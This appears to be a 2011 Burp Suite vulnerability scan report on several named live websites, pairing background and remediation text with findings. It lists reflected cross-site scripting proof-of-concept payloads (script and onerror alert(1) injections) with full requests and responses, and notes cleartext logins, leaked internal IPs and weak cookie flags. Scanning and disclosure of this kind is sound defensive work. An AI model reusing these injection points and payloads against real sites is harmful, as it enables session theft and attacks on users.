Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 18 is copied into the HTML document as plain text between tags. The payload fc56e<img%20src%3da%20onerror%3dalert(1)>08f7c0fc9b4 was submitted in the REST URL parameter 18. This input was echoed as fc56e<img src=a onerror=alert(1)>08f7c0fc9b4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /syndication/json/i/1c7d406c-c8ad-45cf-ac99-1cf2f8ab8822/iv/2/n/code/nv/4/p/1/r/9359d620-4e21-4901-916e-80faceca55d7/rv/96/t/a2db4692a10301174e7211b09d2d7073929674e100000132aada6151fc56e<img%20src%3da%20onerror%3dalert(1)>08f7c0fc9b4/u/1/?callback=WIDGETBOX.subscriber.Main.onWidgetInfoResponse HTTP/1.1 Host: cdn.widgetserver.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://investor.cisco.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript;charset=UTF-8 Date: Wed, 28 Sep 2011 14:40:14 GMT Expires: Sat, 01 Oct 2011 14:39:14 GMT ObjectVersions: [Inst: req 2, db 2]; [Reg: req 96, db 96]; P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA" Server: Apache/2.2.3 (Red Hat) Vary: Accept-Encoding X-WBX: web16 Content-Length: 5236
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 3dcd4<a>c3e6ac59916 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /syndication/json/i/1c7d406c-c8ad-45cf-ac99-1cf2f8ab88223dcd4<a>c3e6ac59916/iv/2/n/code/nv/4/p/1/r/9359d620-4e21-4901-916e-80faceca55d7/rv/96/t/a2db4692a10301174e7211b09d2d7073929674e100000132aada6151/u/1/?callback=WIDGETBOX.subscriber.Main.onWidgetInfoResponse HTTP/1.1 Host: cdn.widgetserver.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://investor.cisco.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript;charset=UTF-8 Date: Wed, 28 Sep 2011 14:39:41 GMT P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA" Server: Apache/2.2.3 (Red Hat) Vary: Accept-Encoding X-WBX: web16 Content-Length: 1190
The value of the callback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload cabec%3balert(1)//c130fe393cd was submitted in the callback parameter. This input was echoed as cabec;alert(1)//c130fe393cd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Wed, 28 Sep 2011 15:38:03 GMT Server: Apache P3P: policyref="http://scripts.chitika.net/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: _cc=; path=/; domain=.chitika.net; expires=Wed Sep 28 15:38:03 2011 GMT Set-Cookie: _cc=G/TMJdgZ4hBljje5NKUGQ6//xyivN/NnIu9TBVbYHgQHu1RS4x3MyIRBIsxPloc6Wg4Sf2F4QjJht5MKduR6QBYq3GQwKsWt08C+toBzk/SzLZU2ijmaWj3LM7jJghqxv0Wvxf2hecpe7g0gPe7U88Ib+nuYthK91oHuaViyMDPR8AJN4wK448SFTRkBwj5+3Bug9mf8+Lo1DfdjTq7YtCwylXXt8k0Rcr0J/03m0PfxXLow6EzdDitechnt3cfNRgwTFys/LWfvnAHWmxLK4bt+CPeh09W21msGtvRjBNnv/K9OstjVJR5zw8gB2P8Be40QaN098u8HoBxGX/xI/Nbm/XSUWJzd3QsW4AeiVSVo1IvxV7wXS3CNtqJzq7iKQBRp1MHItg==.PwB8ZunrJjaK0pCeK4FZ4Q.4; path=/; domain=.mm.chitika.net; expires=Thu Sep 27 15:38:03 2012 GMT Vary: Accept-Encoding Content-Length: 29356 Connection: close Content-Type: text/javascript; charset=utf-8
var ch_mmhtml = {"pixelhtml":"","osnap":0,"snurl":"","js":"","hover":null,"output":"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transition ...[SNIP]... <!--overture-->","cb":"868"};ch_ad_render_searchcabec;alert(1)//c130fe393cd();
The value of the output request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 932fa"><script>alert(1)</script>8ff2f55793c was submitted in the output parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 4ad56'><script>alert(1)</script>4e851335d23 was submitted in the REST URL parameter 2. This input was echoed as 4ad56\\\'><script>alert(1)</script>4e851335d23 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /domain/webiq005.webiqonline.com4ad56'><script>alert(1)</script>4e851335d23 HTTP/1.1 Host: reverseinternet.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/search?sclient=psy-ab&hl=en&source=hp&q=%22webiq005.webiqonline.com%2FWebIQ%2FDataServer%2FDataServer.dll%3F%22&pbx=1&oq=%22webiq005.webiqonline.com%2FWebIQ%2FDataServer%2FDataServer.dll%3F%22&aq=f&aqi=&aql=&gs_sm=e&gs_upl=104268l104268l0l104850l1l1l0l0l0l0l0l0ll0l0&bav=on.2,or.r_gc.r_pw.&biw=1096&bih=877&ech=1&psi=HT6DTvuUKOrUiALp0cmODQ.1317223987517.5&emsg=NCSR&noj=1&ei=Hz6DTp6aIKfViALlp8GcDQ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 76bae<script>alert(1)</script>1c1038df447 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /domain/webiq005.webiqonline.com76bae<script>alert(1)</script>1c1038df447 HTTP/1.1 Host: reverseinternet.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/search?sclient=psy-ab&hl=en&source=hp&q=%22webiq005.webiqonline.com%2FWebIQ%2FDataServer%2FDataServer.dll%3F%22&pbx=1&oq=%22webiq005.webiqonline.com%2FWebIQ%2FDataServer%2FDataServer.dll%3F%22&aq=f&aqi=&aql=&gs_sm=e&gs_upl=104268l104268l0l104850l1l1l0l0l0l0l0l0ll0l0&bav=on.2,or.r_gc.r_pw.&biw=1096&bih=877&ech=1&psi=HT6DTvuUKOrUiALp0cmODQ.1317223987517.5&emsg=NCSR&noj=1&ei=Hz6DTp6aIKfViALlp8GcDQ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b089b"><script>alert(1)</script>6196f14765d was submitted in the REST URL parameter 2. This input was echoed as b089b\\\"><script>alert(1)</script>6196f14765d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /domain/webiq005.webiqonline.comb089b"><script>alert(1)</script>6196f14765d HTTP/1.1 Host: reverseinternet.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/search?sclient=psy-ab&hl=en&source=hp&q=%22webiq005.webiqonline.com%2FWebIQ%2FDataServer%2FDataServer.dll%3F%22&pbx=1&oq=%22webiq005.webiqonline.com%2FWebIQ%2FDataServer%2FDataServer.dll%3F%22&aq=f&aqi=&aql=&gs_sm=e&gs_upl=104268l104268l0l104850l1l1l0l0l0l0l0l0ll0l0&bav=on.2,or.r_gc.r_pw.&biw=1096&bih=877&ech=1&psi=HT6DTvuUKOrUiALp0cmODQ.1317223987517.5&emsg=NCSR&noj=1&ei=Hz6DTp6aIKfViALlp8GcDQ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the search_for request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 9d07f'><script>alert(1)</script>db63e3194db was submitted in the search_for parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Search.php4?search_for=%7B315B0BFB-2BD4-481B-80A3-A9B80727C61B%7D9d07f'><script>alert(1)</script>db63e3194db HTTP/1.1 Host: www.spyandseek.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/search?sclient=psy-ab&hl=en&source=hp&q=%22webiq005.webiqonline.com%2FWebIQ%2FDataServer%2FDataServer.dll%3F%22&pbx=1&oq=%22webiq005.webiqonline.com%2FWebIQ%2FDataServer%2FDataServer.dll%3F%22&aq=f&aqi=&aql=&gs_sm=e&gs_upl=104268l104268l0l104850l1l1l0l0l0l0l0l0ll0l0&bav=on.2,or.r_gc.r_pw.&biw=1096&bih=877&ech=1&psi=HT6DTvuUKOrUiALp0cmODQ.1317223987517.5&emsg=NCSR&noj=1&ei=Hz6DTp6aIKfViALlp8GcDQ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://reverseinternet.com/user/login
The form contains the following password field:
login_password
Issue background
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
Request
GET /domain/webiq005.webiqonline.com HTTP/1.1 Host: reverseinternet.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/search?sclient=psy-ab&hl=en&source=hp&q=%22webiq005.webiqonline.com%2FWebIQ%2FDataServer%2FDataServer.dll%3F%22&pbx=1&oq=%22webiq005.webiqonline.com%2FWebIQ%2FDataServer%2FDataServer.dll%3F%22&aq=f&aqi=&aql=&gs_sm=e&gs_upl=104268l104268l0l104850l1l1l0l0l0l0l0l0ll0l0&bav=on.2,or.r_gc.r_pw.&biw=1096&bih=877&ech=1&psi=HT6DTvuUKOrUiALp0cmODQ.1317223987517.5&emsg=NCSR&noj=1&ei=Hz6DTp6aIKfViALlp8GcDQ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
Request
GET /domain/webiq005.webiqonline.com HTTP/1.1 Host: reverseinternet.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/search?sclient=psy-ab&hl=en&source=hp&q=%22webiq005.webiqonline.com%2FWebIQ%2FDataServer%2FDataServer.dll%3F%22&pbx=1&oq=%22webiq005.webiqonline.com%2FWebIQ%2FDataServer%2FDataServer.dll%3F%22&aq=f&aqi=&aql=&gs_sm=e&gs_upl=104268l104268l0l104850l1l1l0l0l0l0l0l0ll0l0&bav=on.2,or.r_gc.r_pw.&biw=1096&bih=877&ech=1&psi=HT6DTvuUKOrUiALp0cmODQ.1317223987517.5&emsg=NCSR&noj=1&ei=Hz6DTp6aIKfViALlp8GcDQ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xh ...[SNIP]... <div style="float:right;">[<a target="_blank" href="http://www.greyknight17.com/bb/index.php?PHPSESSID=bd49831da10620f861484e7b1b5b35e2&topic=4603.0">visit</a> ...[SNIP]...
4. Password field with autocomplete enabledpreviousnext
Summary
Severity:
Low
Confidence:
Certain
Host:
http://reverseinternet.com
Path:
/domain/webiq005.webiqonline.com
Issue detail
The page contains a form with the following action URL:
http://reverseinternet.com/user/login
The form contains the following password field with autocomplete enabled:
login_password
Issue background
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
Request
GET /domain/webiq005.webiqonline.com HTTP/1.1 Host: reverseinternet.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/search?sclient=psy-ab&hl=en&source=hp&q=%22webiq005.webiqonline.com%2FWebIQ%2FDataServer%2FDataServer.dll%3F%22&pbx=1&oq=%22webiq005.webiqonline.com%2FWebIQ%2FDataServer%2FDataServer.dll%3F%22&aq=f&aqi=&aql=&gs_sm=e&gs_upl=104268l104268l0l104850l1l1l0l0l0l0l0l0ll0l0&bav=on.2,or.r_gc.r_pw.&biw=1096&bih=877&ech=1&psi=HT6DTvuUKOrUiALp0cmODQ.1317223987517.5&emsg=NCSR&noj=1&ei=Hz6DTp6aIKfViALlp8GcDQ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /Search.php4?search_for=%7B315B0BFB-2BD4-481B-80A3-A9B80727C61B%7D HTTP/1.1 Host: www.spyandseek.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/search?sclient=psy-ab&hl=en&source=hp&q=%22webiq005.webiqonline.com%2FWebIQ%2FDataServer%2FDataServer.dll%3F%22&pbx=1&oq=%22webiq005.webiqonline.com%2FWebIQ%2FDataServer%2FDataServer.dll%3F%22&aq=f&aqi=&aql=&gs_sm=e&gs_upl=104268l104268l0l104850l1l1l0l0l0l0l0l0ll0l0&bav=on.2,or.r_gc.r_pw.&biw=1096&bih=877&ech=1&psi=HT6DTvuUKOrUiALp0cmODQ.1317223987517.5&emsg=NCSR&noj=1&ei=Hz6DTp6aIKfViALlp8GcDQ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Spy And Seek t ...[SNIP]... </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script> ...[SNIP]...
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Spy And Seek t ...[SNIP]... </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script> ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
HTTP/1.1 200 OK Date: Wed, 28 Sep 2011 15:35:19 GMT Server: Apache P3P: policyref="http://scripts.chitika.net/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: _cc=; path=/; domain=.chitika.net; expires=Wed Sep 28 15:35:19 2011 GMT Set-Cookie: _cc=G/TM5zQAuhB99d8+eEkXkw2mE/+yCQ7YOnk0r2uMYwVUkh595qrxw+bOTI/ez7GC8tizy1ZBJCqwGPaaapAr2TQVHGkKl32wMF2GKLy9pXUvI4J8/vSB9Q9VNuYdDXbbTb4ZMYD3KXyFcP3PTXpNqOQ0MUBxgiArNlR6tCnRcW+v2DScgFj6+kzLX6tQ/uGgDEcPrCdAJNdmdqwlHK4IkujnjaLz4UUW9MvJW8VbSALqeP79PD746GTZ4psVu+N0sQzqDOftPv8d5BfEpRU/EJt1Fg/6FGzitTQ/t8H8si8Gp7iKzXsDM5tjkBUOAbwdA6KPfShKONPm3Cy8MNghALIRwPhE5uZjB+W6Od8iEZp5bIncANGGTo2VeIl02z6c2AhTEUYPeQUSN+jk12ELVdSHiDJNEeesln23srFfacwR7qG166vKEa788MOHZup51Elk2cpM9OXZOmYb5kMpSZb3463fXv2R/P23IMCo//J2toTrQwcjibGdjvK/7r4cKaQLe1GQQapfqTVFuHvhCGMdeeoLwbgFiDALMrn8rEJ5kwnWhotRpyR9VUDcZW5ewtsYAAvWX3X+djgVrNwjK6t+2cOBfWYPvCOUXgDZmtERjyn0g0Si.EiCAPFKHNdCTfvufEQWDdA.4; path=/; domain=.mm.chitika.net; expires=Thu Sep 27 15:35:19 2012 GMT Vary: Accept-Encoding Content-Length: 29384 Connection: close Content-Type: text/javascript; charset=utf-8
var ch_mmhtml = {"pixelhtml":"","osnap":0,"snurl":"","js":"","hover":null,"output":"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transition ...[SNIP]...
The page contains a form which is used to submit a user-supplied file to the following URL:
http://www.spyandseek.com/Analize.php4
Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.
Issue background
File upload functionality is commonly associated with a number of vulnerabilities, including:
File path traversal
Persistent cross-site scripting
Placing of other client-executable code into the domain
Transmission of viruses and other malware
Denial of service
You should review the file upload functionality to understand its purpose, and establish whether uploaded content is ever returned to other application users, either through their normal usage of the application or by being fed a specific link by an attacker.
Some factors to consider when evaluating the security impact of this functionality include:
Whether uploaded content can subsequently be downloaded via a URL within the application.
What Content-type and Content-disposition headers the application returns when the file's content is downloaded.
Whether it is possible to place executable HTML/JavaScript into the file, which executes when the file's contents are viewed.
Whether the application performs any filtering on the file extension or MIME type of the uploaded file.
Whether it is possible to construct a hybrid file containing both executable and non-executable content, to bypass any content filters - for example, a file containing both a GIF image and a Java archive (known as a GIFAR file).
What location is used to store uploaded content, and whether it is possible to supply a crafted filename to escape from this location.
Whether archive formats such as ZIP are unpacked by the application.
How the application handles attempts to upload very large files, or decompression bomb files.
Issue remediation
File upload functionality is not straightforward to implement securely. Some recommendations to consider in the design of this functionality include:
Use a server-generated filename if storing uploaded files on disk.
Inspect the content of uploaded files, and enforce a whitelist of accepted, non-executable content types. Additionally, enforce a blacklist of common executable formats, to hinder hybrid file attacks.
Enforce a whitelist of accepted, non-executable file extensions.
If uploaded files are downloaded by users, supply an accurate non-generic Content-type header, and also a Content-disposition header which specifies that browsers should handle the file as an attachment.
Enforce a size limit on uploaded files (for defence-in-depth, this can be implemented both within application code and in the web server's configuration.
Reject attempts to upload archive formats such as ZIP.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Spy And Seek t ...[SNIP]... <br > <input name="userfile" type="file" id="userfile" size="45" /> <!-- MAX_FILE_SIZE must precede the file input field --> ...[SNIP]...
The following RFC 1918 IP addresses were disclosed in the response:
10.10.15.107
10.20.32.18
172.24.46.217
Issue background
RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.
Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.
Issue remediation
There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.
Request
GET /Search.php4?search_for=%7B315B0BFB-2BD4-481B-80A3-A9B80727C61B%7D HTTP/1.1 Host: www.spyandseek.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/search?sclient=psy-ab&hl=en&source=hp&q=%22webiq005.webiqonline.com%2FWebIQ%2FDataServer%2FDataServer.dll%3F%22&pbx=1&oq=%22webiq005.webiqonline.com%2FWebIQ%2FDataServer%2FDataServer.dll%3F%22&aq=f&aqi=&aql=&gs_sm=e&gs_upl=104268l104268l0l104850l1l1l0l0l0l0l0l0ll0l0&bav=on.2,or.r_gc.r_pw.&biw=1096&bih=877&ech=1&psi=HT6DTvuUKOrUiALp0cmODQ.1317223987517.5&emsg=NCSR&noj=1&ei=Hz6DTp6aIKfViALlp8GcDQ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
Request
